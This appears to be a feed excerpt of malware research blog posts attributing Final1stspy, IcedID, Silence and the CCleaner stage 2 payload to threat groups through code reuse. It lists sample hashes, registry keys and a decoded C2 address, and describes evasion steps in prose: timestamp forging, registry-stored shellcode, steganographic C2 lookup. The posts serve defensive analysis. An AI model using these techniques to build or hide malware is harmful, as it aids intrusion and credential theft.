&lt;p&gt;Researchers at Palo Alto Networks recently published a report regarding the
&lt;a href="https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/"target="_blank" rel="noopener"&gt;NOKKI&lt;/a&gt;
malware, which has shared code with KONNI and, although not in the report by
Palo Alto,
&lt;a href="https://malware.lu/assets/files/articles/RAP003_KimJongRAT-Stealer_Analysis.1.0.pdf"target="_blank" rel="noopener"&gt;KimJongRAT&lt;/a&gt;
(discovered by &lt;a href="https://twitter.com/r00tbsd"target="_blank" rel="noopener"&gt;Paul Rascagnères&lt;/a&gt; of Cisco Talos
in 2013), and another report on how there is evidence of the
&lt;a href="https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/"target="_blank" rel="noopener"&gt;NOKKI malware connecting to the North Korean threat actor&lt;/a&gt;
known as APT37, Reaper, or Group123.&lt;/p&gt;
&lt;p&gt;The malicious document related to NOKKI, using VBScript, downloads a newly
discovered malware named Final1stspy, due to the PDB string inside. As noted by
Palo Alto Networks, Final1stspy comes in 2 components, the EXE named &amp;ldquo;LoadDll&amp;rdquo;
with the sole purpose of loading up a DLL payload, internally named
&amp;ldquo;hadowexecute.&amp;rdquo; After collecting information about the infected computer, the
end result is that the DOGCALL malware, also known as ROKRAT, is downloaded as
the final payload, thus being one of the links between NOKKI and APT37.&lt;/p&gt;
&lt;h2&gt;Links Through Code Reuse&lt;span class="hx:absolute hx:-mt-20" id="links-through-code-reuse"&gt;&lt;/span&gt;
&lt;a href="#links-through-code-reuse" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The DLL payload component under the hash that was listed in the report was not
available on VirusTotal. We created some YARA signatures from the code of
“LoadDll” and did a hunt via VirusTotal. Since the EXE component shares code
with the DLL, the YARA hunt led us to find an earlier version of the DLL
component of Final1stspy with 2/67 detections, compilation timestamp of May 21,
2018, and first upload to VirusTotal date of July 11, 2018. This is an earlier
version than described in the Palo Alto report. After obtaining the
hadowexecute DLL component, we checked to see if there was any code reuse in
the Intezer Analyze™ system.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/10/apt37-final1stspy-reaping-the-freemilk/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We see that there is some code shared between the EXE component of Final1stspy
and other code that has been seen before in the FreeMilk campaign which
utilized ROKRAT.&lt;/p&gt;
&lt;p&gt;Let’s see the shared code between ROKRAT and Final1stspy by doing comparison of
these functions in IDA. If you take a look, there is an identical match between
them.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/apt37-final1stspy-reaping-the-freemilk/images/fig2.png" title="ROKRAT &amp;amp; Final1stspy hadowexecute function comparison" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;ROKRAT &amp;amp; Final1stspy hadowexecute function comparison&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This function is unique code that has only been seen before in Group123’s
ROKRAT and the DLL component of Final1stspy. The identical function gathers
information about the operating system and stores it in the same format.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The evidence in Group123 being the threat actor involved here does not only lie
in the final delivered payload, but in the code itself. This code reuse
provides more evidence towards the relationship of KimJongRAT, KONNI, NOKKI,
Final1stspy, ROKRAT, and APT37.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Final1stspy&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;2011b9aa61d280ca9397398434af94ec26ddb6ab51f5db269f1799b46cf65a76 (DLL)
0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a (DLL)
fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a (EXE)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Group 123 (FreeMilk / ROKRAT Samples)&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5
01045aeea5198cbc893066d7e496f1362c56a154f093d1a8107cecad8d4e4df2
26ad5f8889d10dc45dcf1d3c626416eb604f5fe4a7268e044f17a3ab6ff14e53
65ec544841dbe666d20de086495158128ddffb8b076ddb801a3f2dc250481135
7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df
ef40f7ddff404d1193e025081780e32f88883fa4dd496f4189084d772a435cb2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>IcedID Banking Trojan Shares Code with Pony 2.0 Trojan</title><link>https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/</link><pubDate>Mon, 13 Nov 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/</guid><description>
&lt;p&gt;IBM X-Force recently released an excellent
&lt;a href="https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"target="_blank" rel="noopener"&gt;report&lt;/a&gt;
on a new banking trojan named IcedID that is being distributed using computers
already infected with Emotet. We took the MD5 of one of the droppers from the
IBM report and extracted the payload. After extracting the payload from one of
the droppers listed in the report, using Intezer Analyze™, we have found code
reuse from another malware named Pony, written about in a
&lt;a href="https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear"target="_blank" rel="noopener"&gt;report&lt;/a&gt;
by Proofpoint.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#IcedID banking trojan payload – code overlap with #pony more details soon
&lt;a href="https://t.co/baS1fciJHX"target="_blank" rel="noopener"&gt;https://t.co/baS1fciJHX&lt;/a&gt; @malwrhunterteam @campuscod&lt;/p&gt;
&lt;p&gt;— Jay Rosenberg (@jaytezer)
&lt;a href="https://x.com/jaytezer/status/930054725290078213?ref_src=twsrc%5Etfw"target="_blank" rel="noopener"&gt;November 13, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pony is a trojan that was being distributed via the Hancitor downloader,
distributed through Microsoft Word documents. The version of Pony used in the
reports is believed to be the same threat actor as Vawtrak. It was also sold
via underground forums until the source code was leaked online.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Using the dive-in feature with the related Pony samples, we can see the
following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;With this information alone, it will be hard to attribute this sample to a
certain threat actor due to the public availability of the source code of Pony.&lt;/p&gt;
&lt;p&gt;Let’s take a look at some of the matching functions.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As we can see here, the function in these two samples is a 1:1 match. The
function above is called GrabOutlook in the Pony source code and is responsible
for stealing passwords from Outlook. (You may notice a difference because the
strings appear decrypted in the sample on the left as it looks like Proofpoint
dumped the sample with the strings already decrypted before uploading to
VirusTotal.)&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig4.png" title="GrabOutlook function from Pony 2.0 source code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;GrabOutlook function from Pony 2.0 source code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;More specifically, we can tell the threat actor used code from version 2.0 of
Pony because in the Pony 1.9 source code, we do not see calls to DecipherList
which is responsible for decrypting the strings.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/11/icedid-banking-trojan-shares-code-pony-2-0-trojan/images/fig5.png" title="GrabOutlook function from Pony 1.9 source code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;GrabOutlook function from Pony 1.9 source code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Other shared functions from Pony:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OutlookExport&lt;/li&gt;
&lt;li&gt;OutlookReadPSItemValue&lt;/li&gt;
&lt;li&gt;OutlookScanPasswords&lt;/li&gt;
&lt;li&gt;OutlookScanProfiles&lt;/li&gt;
&lt;li&gt;PocomailScanReg&lt;/li&gt;
&lt;li&gt;IncrediMailScanReg&lt;/li&gt;
&lt;li&gt;CRC32Update&lt;/li&gt;
&lt;li&gt;CommonCryptUnprotectData&lt;/li&gt;
&lt;li&gt;MapFile&lt;/li&gt;
&lt;li&gt;PonyStrCat&lt;/li&gt;
&lt;li&gt;PonyStrCatFreeArg1&lt;/li&gt;
&lt;li&gt;DecipherList&lt;/li&gt;
&lt;li&gt;UnicodeToAnsiLen&lt;/li&gt;
&lt;li&gt;FileExists&lt;/li&gt;
&lt;li&gt;StreamUpdateModuleLen&lt;/li&gt;
&lt;li&gt;StreamWriteModuleHeader&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There may be other functions from Pony, but we can see that the shared code is
mostly related to stealing e-mail credentials.&lt;/p&gt;
&lt;p&gt;Time and time again, we see threat actors reusing the same code. If we look at
reused code, it makes it easier to detect malware. Such small code reuse makes
it very difficult to get these kinds of conclusions by manually reverse
engineering a file. The ability to automate the finding of code reuse makes our
job as malware analysts easier.&lt;/p&gt;
&lt;p&gt;Report Samples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IcedID Dropper:
&lt;code&gt;29f7469f8dc88820f72a9bdcb02badc1a40aa41b3f4b7f8caaa30409b3842aea&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IcedID Payload:
&lt;code&gt;a6531184ea84bb5388d7c76557ff618d59f951c393a797950b2eb3e1d6307013&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pony: &lt;code&gt;b19ec186f59b1f72c768ed2fcd8344d75821e527870b71e8123db96f683f1b68&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Silence of the Moles</title><link>https://research.intezer.com/blog/2017/11/silenceofthemoles/</link><pubDate>Wed, 01 Nov 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/11/silenceofthemoles/</guid><description>
&lt;p&gt;Kaspersky Labs published a technical analysis of a new malware,
&lt;a href="https://securelist.com/the-silence/83009/"target="_blank" rel="noopener"&gt;Silence&lt;/a&gt; that is aimed at attacking
financial institutions. After uploading the loader of this malware to Intezer
Analyze™, we have found a possible connection through code reuse to the loader
of another campaign of malware,
&lt;a href="https://researchcenter.paloaltonetworks.com/2017/04/unit42-mole-ransomware-one-malicious-spam-campaign-quickly-increased-complexity-changed-tactics/"target="_blank" rel="noopener"&gt;Mole&lt;/a&gt;
previously discovered by Unit 42 of Palo Alto Networks.&lt;/p&gt;
&lt;p&gt;This connection might be an indicator that these two attacks are originated
from the same threat actor, but currently it is too early to tell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/11/silenceofthemoles/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;(Intezer Analyze™ public report available
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=silenceofthemoles&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/f704b93d-0a31-4196-b8ab-2af3d50bf42c"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;Silence Loader:
&lt;code&gt;f24b160e9e9d02b8e31524b8a0b30e7cdc66dd085e24e4c58240e4c4b6ec0ac2&lt;/code&gt; Mole Loader:
&lt;code&gt;50117ce3fe5dba572cf23584dc7541a7cfd4026d4316e69d29cdf536873fdf20&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If we look at the code of the two loaders used by both campaigns side by side,
we can see that the code is very similar and according to our system is unique
to these families of malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/11/silenceofthemoles/images/fig2.png" title="sub_4079A0 vs sub_4023A0" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;sub_4079A0 vs sub_4023A0&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Through the disassembly in the photo above, we can also see there is a string
initialized through an array, “RtpEncodePointer,” that is later used for a call
to GetProcAddress. This looks like a typo and the author of the code meant to
write “RtlEncodePointer” because “RtpEncodePointer” does not exist in
ntdll.dll. The evidence suggests that this code was being reused. There are no
references to “RtpEncodePointer” available publicly online besides automated
reports of a couple unclassified malware from
&lt;a href="https://www.hybrid-analysis.com/sample/1a8fc5c94009fd570a20397a05aaf53fc3e16c9d14d59a824ec16f663950219e?environmentId=100"target="_blank" rel="noopener"&gt;Hybrid Analysis&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In addition to the links within the code, there are several other similarities
we have witnessed between the Mole and Silence malware, such as the attack
vectors (spear phishing, packaging of the malware) and motives — which can be
extra evidence for this connection.&lt;/p&gt;</description></item><item><title>Evidence Aurora Operation Still Active Part 2: More Ties Uncovered Between CCleaner Hack &amp; Chinese Hackers</title><link>https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/</link><pubDate>Mon, 02 Oct 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/</guid><description>
&lt;p&gt;Since my
&lt;a href="../../../2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/"&gt;last post&lt;/a&gt;,
we have found new evidence in the next stage payloads of the CCleaner supply
chain attack that provide a stronger link between this attack and the Axiom
group.&lt;/p&gt;
&lt;p&gt;First of all, our researchers would like to thank the entire team at Cisco
Talos for their excellent work on this attack (their post regarding stage 2 can
be found
&lt;a href="http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html"target="_blank" rel="noopener"&gt;here&lt;/a&gt;) as
well as their cooperation by allowing us access to the stage 2 payload. Also,
we would like to give a special thanks to Kaspersky Labs for their
collaboration.&lt;/p&gt;
&lt;h2&gt;The Next Connection&lt;span class="hx:absolute hx:-mt-20" id="the-next-connection"&gt;&lt;/span&gt;
&lt;a href="#the-next-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Starting from the stage 2 payload, I reverse engineered the module, extracting
other hidden shellcode and binaries within. After uploading the different
binaries to Intezer Analyze™, the final payload (that I have access to) had a
match with a binary relating to the Axiom group.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;At first glance, I believed it was going to be the same custom base64 function
as mentioned in my
&lt;a href="../../../2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/"&gt;previous blog post&lt;/a&gt;.
A deeper look in the shared code proved otherwise.&lt;/p&gt;
&lt;p&gt;Binary in screenshot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Related APT17 samples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig2.jpg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Not only did the first payload have shared code between the Axiom group and
CCBkdr, but the second did as well. The above photo shows the same function
between two binaries. Let me put this into better context for you: out of all
the billions and billions of pieces of code (both trusted and malicious)
contained in the Intezer Code Genome Database, we found this code in only these
APTs. It is also worth noting that this isn’t a standard method one would use
to call an API. The attacker used the simple technique of employing an array to
hide a string from being in clear sight of those analyzing the binary (although
to those who are more experienced, it is obvious) and remain undetected from
antivirus signatures. The author probably copied and pasted the code, which is
what often happens to avoid duplicative efforts: rewriting the same code for
the same functionality twice.&lt;/p&gt;
&lt;p&gt;Due to the uniqueness of the shared code, we strongly concluded that the code
was written by the same attacker.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The stage two payload that was analyzed in this report (dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83), after launching the infected version of CCleaner, was dropped to only a selective group of targets, as reported by Talos. Although there is an x64 version, the following analysis will only include the x86 version because they are nearly identical. I will not be going too far in depth as full comprehension of the technical analysis will require an understanding of reverse engineering.&lt;/p&gt;
&lt;p&gt;Instead of using the typical API (VirtualAlloc) to allocate memory, the attackers allocated memory on the heap using LocalAlloc, and then copied a compressed payload to the allocated memory.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It looks like the attackers used version 1.1.4 of zlib to decompress the payload into this allocated memory region.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Depending on if you’re running x86 or x64 Windows, it will drop a different module. (32-bit &lt;code&gt;07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902&lt;/code&gt;, 64-bit &lt;code&gt;128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f&lt;/code&gt;) Both modules are actually legitimate software with additional code and a modified execution flow.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The last modified time on the modules is changed to match that of the msvcrt.dll that is located in your system32 folder–a technique to stay under the radar by not being able to check last modified files.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Some shellcode and another module are written to the registry.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After the module is successfully dropped, a service is created under the name Spooler or SessionEnv, depending upon your environment, which then loads the newly dropped module.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig9.png" alt="" loading="lazy" /&gt;
The new module being run by the service allocates memory, reads the registry where the other payload is located, and then copies it to memory
&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig10.png" alt="" loading="lazy" /&gt;
&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The next payload is executed, which decrypts another module and loads it. If we look at the memory of the next decrypted payload, we can see something that looks like a PE header without the MZ signature. From here, it is as simple as modifying the first two bytes to represent MZ and we have a valid PE file. (&lt;code&gt;f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The next module is a essentially another backdoor that connects to a few domains; before revealing the true IP, it will connect to for the next stage payload.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It starts by ensuring it receives the correct response from &lt;a href="https://www.microsoft.com"target="_blank" rel="noopener"&gt;https://www.microsoft.com&lt;/a&gt; and &lt;a href="https://update.microsoft.com"target="_blank" rel="noopener"&gt;https://update.microsoft.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware proceeds to decrypt two more URLs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig15.png" alt="" loading="lazy" /&gt;
&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig16.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware authors used steganography to store the IP address in a ptoken field of the HTML.&lt;/p&gt;
&lt;p&gt;Here you can see the GitHub page with the ptoken field.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The value is then XOR decrypted by &lt;code&gt;0x31415926&lt;/code&gt; which gives you &lt;code&gt;0x5A093B0D&lt;/code&gt; or the IP address: &lt;code&gt;13.59.9.90&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The complexity and quality of this particular attack has led our team to conclude that it was most likely state-sponsored. Considering this new evidence, the malware can be attributed to the Axiom group due to both the nature of the attack itself and the specific code reuse throughout that our technology was able to uncover.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Stage 2 Payload: dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83
x86 Trojanized Binary: 07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902
x86 Registry Payload: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a
x64 Trojanized Binary: 128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f
x64 Registry Payload: 75eaa1889dbc93f11544cf3e40e3b9342b81b1678af5d83026496ee6a1b2ef79
Registry Keys:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�01
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�02
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�03
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�04
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\HBP&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
